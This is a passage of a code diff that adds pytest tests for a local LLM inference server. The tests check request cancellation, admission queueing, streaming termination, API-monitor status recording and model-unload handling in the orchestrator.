+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    cancel_event = cancel_event,
+                )
+
+            assert exc.value.status_code == 499
+            assert get_llama_admission_queue("http://llama.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_admission_task_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_wait(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start after admission task cancel")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_wait_for_openai_admission_non_streaming",
+                fake_wait,
+            )
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+
+            with pytest.raises(asyncio.CancelledError):
+                await _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        effective_parallel_slots = 1,
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    cancel_event = threading.Event(),
+                )
+
+            assert get_llama_admission_queue("http://llama.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_passthrough_non_streaming_cancel_finalizes_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2416,6 +5682,407 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_non_streaming_cancel_closes_blocked_upstream_post(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class HangingCancelableClient:
+                def __init__(self):
+                    self.started = asyncio.Event()
+                    self.closed = asyncio.Event()
+
+                async def post(self, *_args, **_kwargs):
+                    self.started.set()
+                    await self.closed.wait()
+                    raise httpx.ReadError("client closed")
+
+                async def aclose(self):
+                    self.closed.set()
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            client = HangingCancelableClient()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_cancelable_nonstreaming_client",
+                lambda: client,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            cancel_event = threading.Event()
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            task = asyncio.create_task(
+                _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    request = Request(),
+                    cancel_event = cancel_event,
+                )
+            )
+            await asyncio.wait_for(client.started.wait(), 0.2)
+            cancel_event.set()
+
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, 0.5)
+
+            assert client.closed.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_route_registers_cancel_id(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class HangingCancelableClient:
+                def __init__(self):
+                    self.started = asyncio.Event()
+                    self.closed = asyncio.Event()
+
+                async def post(self, *_args, **_kwargs):
+                    self.started.set()
+                    await self.closed.wait()
+                    raise httpx.ReadError("client closed")
+
+                async def aclose(self):
+                    self.closed.set()
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/chat/completions")
+                method = "POST"
+
+                async def is_disconnected(self):
+                    return False
+
+            cancel_id = "passthrough-nonstream-cancel-id"
+            client = HangingCancelableClient()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_cancelable_nonstreaming_client", lambda: client)
+
+            def _plain(**_kwargs):
+                raise AssertionError("plain GGUF path should not be used")
+
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    is_vision = False,
+                    supports_tools = True,
+                    _is_audio = False,
+                    model_identifier = "test-gguf",
+                    context_length = 4096,
+                    base_url = "http://llama.test",
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    generate_chat_completion = _plain,
+                ),
+            )
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                cancel_id = cancel_id,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = Request(),
+                    current_subject = "test",
+                )
+            )
+            await asyncio.wait_for(client.started.wait(), 0.2)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+            assert inf_mod._cancel_by_cancel_id_or_stash(cancel_id) == 1
+
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, 0.5)
+
+            assert client.closed.is_set()
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_disconnect_closes_blocked_upstream_post(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class HangingCancelableClient:
+                def __init__(self):
+                    self.started = asyncio.Event()
+                    self.closed = asyncio.Event()
+
+                async def post(self, *_args, **_kwargs):
+                    self.started.set()
+                    await self.closed.wait()
+                    raise httpx.ReadError("client closed")
+
+                async def aclose(self):
+                    self.closed.set()
+
+            class Request:
+                def __init__(self):
+                    self.disconnected = False
+
+                async def is_disconnected(self):
+                    return self.disconnected
+
+            client = HangingCancelableClient()
+            request = Request()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_cancelable_nonstreaming_client",
+                lambda: client,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            cancel_event = threading.Event()
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            task = asyncio.create_task(
+                _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+            )
+            await asyncio.wait_for(client.started.wait(), 0.2)
+            request.disconnected = True
+
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, 0.5)
+
+            assert client.closed.is_set()
+            assert cancel_event.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_forwards_backend_auth_headers(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            captured = {}
+
+            class FakeNonStreamingClient:
+                async def post(self, *_args, **kwargs):
+                    captured["headers"] = kwargs.get("headers")
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "chatcmpl-test",
+                            "object": "chat.completion",
+                            "created": 123,
+                            "model": "gguf",
+                            "choices": [
+                                {
+                                    "index": 0,
+                                    "message": {"role": "assistant", "content": "OK"},
+                                    "finish_reason": "stop",
+                                }
+                            ],
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "nonstreaming_client",
+                lambda: FakeNonStreamingClient(),
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_non_streaming(
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _auth_headers = {"Authorization": "Bearer secret"},
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                monitor_id = monitor_id,
+            )
+
+            assert json.loads(response.body)["choices"][0]["message"]["content"] == "OK"
+            assert captured["headers"]["Authorization"] == "Bearer secret"
+            assert captured["headers"]["Connection"] == "close"
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_forces_upstream_stream_false(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            captured = {}
+
+            class FakeNonStreamingClient:
+                async def __aenter__(self):
+                    return self
+
+                async def __aexit__(self, *_args):
+                    return False
+
+                async def post(self, *_args, **kwargs):
+                    captured["json"] = kwargs.get("json")
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "chatcmpl-test",
+                            "object": "chat.completion",
+                            "created": 123,
+                            "model": "gguf",
+                            "choices": [
+                                {
+                                    "index": 0,
+                                    "message": {"role": "assistant", "content": "OK"},
+                                    "finish_reason": "stop",
+                                }
+                            ],
+                            "usage": {
+                                "prompt_tokens": 1,
+                                "completion_tokens": 1,
+                                "total_tokens": 2,
+                            },
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "nonstreaming_client",
+                lambda: FakeNonStreamingClient(),
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                stream_options = {"include_usage": True},
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            await _openai_passthrough_non_streaming(
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                monitor_id = monitor_id,
+            )
+
+            assert captured["json"]["stream"] is False
+            assert "stream_options" not in captured["json"]
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+
+        asyncio.run(_run())
+
     def test_passthrough_clean_eof_finalizes_monitor(self, monkeypatch):
         async def _run():
             result = await self._run_passthrough_stream(
@@ -2435,6 +6102,216 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_finish_without_done_closes_stream_early(self, monkeypatch):
+        # Some llama-server builds emit the finish chunk and then hold the HTTP
+        # stream open without sending [DONE]; the terminal classifier must end
+        # the client stream promptly instead of hanging on the open socket.
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}'
+                yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}'
+                await asyncio.Event().wait()  # upstream never closes
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+
+            async def _consume():
+                return [chunk async for chunk in response.body_iterator]
+
+            chunks = await asyncio.wait_for(_consume(), timeout = 2)
+            body = "".join(chunks)
+
+            assert '"finish_reason":"stop"' in body.replace(" ", "")
+            assert body.endswith("data: [DONE]\n\n")
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stall_after_finish_closes_cleanly(self, monkeypatch):
+        # include_usage keeps the stream open past the finish chunk waiting for
+        # the usage chunk; if that never arrives, the post-terminal grace path
+        # must close with a clean [DONE], not an in-band error.
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}'
+                yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}'
+                raise httpx.ReadTimeout("usage chunk never arrived")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                stream_options = {"include_usage": True},
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = [chunk async for chunk in response.body_iterator]
+            body = "".join(chunks)
+
+            assert '"type":"api_error"' not in body.replace(" ", "")
+            assert body.endswith("data: [DONE]\n\n")
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_stall_after_data_emits_error(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
+                raise httpx.ReadTimeout("upstream went silent")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = [chunk async for chunk in response.body_iterator]
+            body = "".join(chunks)
+
+            assert 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n' in body
+            assert '"finish_reason"' not in body.replace(" ", "")
+            assert '"type":"api_error"' in body.replace(" ", "")
+            assert "still processing the prompt" in body
+            assert body.endswith("data: [DONE]\n\n")
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "still processing the prompt" in entry["error"]
+            assert entry["reply"] == "hello"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
 
 class TestApiMonitorSafetensorsUsage:
     class _Request:
@@ -2743,6 +6620,29 @@ class TestApiMonitorAudioInput:
             assert entry["reply"] == "hello world"
             assert monitor.active_count() == 0
 
+            def failing_chunks():
+                yield "partial"
+                raise RuntimeError("generation failed")
+
+            self._patch_audio_backend(monkeypatch, failing_chunks())
+            error_monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", error_monitor)
+            error_response = await openai_chat_completions(
+                payload,
+                request = request,
+                current_subject = "test",
+            )
+            error_chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in error_response.body_iterator
+            ]
+
+            assert '"type": "server_error"' in error_chunks[-1]
+            assert error_chunks[-1].endswith("data: [DONE]\n\n")
+            [error_entry] = error_monitor.snapshot()
+            assert error_entry["status"] == "error"
+            assert error_monitor.active_count() == 0
+
         asyncio.run(_run())
 
     def test_non_gguf_tts_auto_route_records_monitor(self, monkeypatch):
@@ -2938,6 +6838,15 @@ class TestApiMonitorAudioInput:
 class TestResponsesChatTemplateKwargs:
     _messages = [ChatMessage(role = "user", content = "What is 100 - 67?")]
 
+    class _Request:
+        app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/responses")
+        method = "POST"
+
+        async def is_disconnected(self):
+            return False
+
     def test_enable_thinking_lifted_from_extra_body(self):
         payload = ResponsesRequest(
             model = "qwen-local",
@@ -2970,6 +6879,113 @@ class TestResponsesChatTemplateKwargs:
         chat_req = _build_chat_request(payload, self._messages, stream = False)
         assert chat_req.enable_thinking is None
 
+    def test_responses_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fail_send(*_args, **_kwargs):
+                raise AssertionError("responses upstream must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                base_url = "http://llama.responses.test",
+                context_length = 4096,
+                effective_parallel_slots = 1,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send)
+
+            queue = get_llama_admission_queue("http://llama.responses.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+            monitor_id = monitor.start(
+                endpoint = "/v1/responses",
+                method = "POST",
+                model = "qwen-local",
+                prompt = "hi",
+            )
+            payload = ResponsesRequest(model = "qwen-local", input = "hi", stream = True)
+
+            response = await _responses_stream(
+                payload,
+                [ChatMessage(role = "user", content = "hi")],
+                self._Request(),
+                monitor_id,
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_responses_stream_cancel_after_created_finalizes_monitor_and_slot(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fail_send(*_args, **_kwargs):
+                raise AssertionError("responses upstream must not start after created cancel")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                base_url = "http://llama.responses.test",
+                context_length = 4096,
+                effective_parallel_slots = 1,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send)
+            monitor_id = monitor.start(
+                endpoint = "/v1/responses",
+                method = "POST",
+                model = "qwen-local",
+                prompt = "hi",
+            )
+            payload = ResponsesRequest(model = "qwen-local", input = "hi", stream = True)
+
+            response = await _responses_stream(
+                payload,
+                [ChatMessage(role = "user", content = "hi")],
+                self._Request(),
+                monitor_id,
+            )
+            iterator = response.body_iterator
+            first = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            assert "event: response.created" in first
+
+            with pytest.raises(asyncio.CancelledError):
+                await iterator.athrow(asyncio.CancelledError())
+
+            assert get_llama_admission_queue("http://llama.responses.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
 
 # =====================================================================
 # GGUF chat-template role alternation: coalesce orphaned user turns left
diff --git a/studio/backend/tests/test_orchestrator_unload_cancel.py b/studio/backend/tests/test_orchestrator_unload_cancel.py
new file mode 100644
index 0000000000..fb80b6d061
--- /dev/null
+++ b/studio/backend/tests/test_orchestrator_unload_cancel.py
@@ -0,0 +1,1651 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""unload_model cancels an in-flight generation instead of waiting it out.
+
+The sequential subprocess used to queue ``unload`` behind a running ``generate``,
+hanging the UI. ``unload_model`` now cancels first (the mp.Event the worker checks
+each token) and takes ``_gen_lock`` before the unload round-trip.
+"""
+
+import threading
+import time
+
+import pytest
+
+from core.inference import orchestrator as orch_mod
+from core.inference.orchestrator import InferenceOrchestrator
+
+
+def _bare_orchestrator():
+    """An orchestrator without the real __init__ subprocess/network."""
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    o._gen_lock = threading.Lock()
+    o._cancel_event = threading.Event()  # stands in for the mp.Event
+    o._drain_event = threading.Event()  # stands in for the unload-drain mp.Event
+    o._proc = object()  # truthy so _ensure_subprocess_alive reports alive
+    o._cmd_queue = object()
+    o._resp_queue = object()
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+    o.active_model_name = "m"
+    o.models = {"m": {}}
+    o.loading_models = set()
+    return o
+
+
+def test_unload_cancels_inflight_generation_then_unloads(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    # A generation holds _gen_lock and releases it only once cancelled.
+    o._gen_lock.acquire()
+
+    def releaser():
+        o._cancel_event.wait(timeout = 5)  # released only after the cancel fires
+        o._gen_lock.release()
+
+    t = threading.Thread(target = releaser)
+    t.start()
+
+    start = time.monotonic()
+    ok = o.unload_model("m")
+    elapsed = time.monotonic() - start
+    t.join(timeout = 5)
+
+    assert ok is True
+    assert o._cancel_event.is_set(), "generation must be cancelled before the unload"
+    assert {"type": "unload", "model_name": "m"} in sent
+    assert o.active_model_name is None
+    assert "m" not in o.models
+    # Waited on the released-after-cancel lock, not a full generation.
+    assert elapsed < 2.0
+
+
+def test_unload_no_active_generation_unloads_normally(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert {"type": "unload", "model_name": "m"} in sent
+    assert o.active_model_name is None
+    # Lock released for the next caller.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_unload_falls_back_to_shutdown_when_generation_wont_yield(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2)
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send unload when wedged"))
+
+    # A wedged worker never releases _gen_lock, even after the cancel.
+    o._gen_lock.acquire()
+
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert shutdown, "should tear the subprocess down to free the GPU"
+    assert o.active_model_name is None
+
+
+def test_unload_tears_down_when_compare_dispatcher_wedged(monkeypatch):
+    # A wedged compare-mode generation bypasses _gen_lock, so the acquire guard
+    # misses it and _send_cmd/_wait_response would hang on resp_queue. Unload must
+    # instead tear the subprocess down, like the wedged locked-generation path.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_DISPATCH_IDLE_TIMEOUT", 0.2)
+
+    # A live dispatcher whose mailbox never drains == a wedged compare-mode gen.
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {"req-1": object()}
+
+    class _AliveThread:
+        def is_alive(self):
+            return True
+
+    o._dispatcher_thread = _AliveThread()
+
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send unload with a wedged dispatcher")
+    )
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: pytest.fail(
+            "must not wait on resp_queue with a wedged dispatcher"
+        ),
+    )
+
+    # _gen_lock is free (compare mode never took it), so the acquire guard passes.
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert shutdown, "should tear the subprocess down to free the GPU"
+    assert o.active_model_name is None
+    assert "m" not in o.models
+
+
+def test_consume_token_stream_bails_when_subprocess_swapped(monkeypatch):
+    # After a wedged-worker teardown a fresh load swaps _proc/_resp_queue; the
+    # still-live generation thread must detect the swap and bail, not re-block on
+    # the new queue while holding _gen_lock.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_subprocess_crash_message", lambda ctx: "inference subprocess restarted"
+    )
+
+    def read_one(timeout):
+        o._proc = object()  # simulate the reload swapping the subprocess
+        return None
+
+    gen = o._consume_token_stream(read_one, lambda: None, crash_context = "generation")
+    msg = next(gen)
+
+    assert "restarted" in msg
+    with pytest.raises(StopIteration):
+        next(gen)
+
+
+def test_unload_pending_clears_after_unload(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: None)
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    o.unload_model("m")
+
+    # The flag must not leak past the unload, else every later generation bails.
+    assert o._unload_pending is False
+
+
+def test_generation_bails_when_unload_pending(monkeypatch):
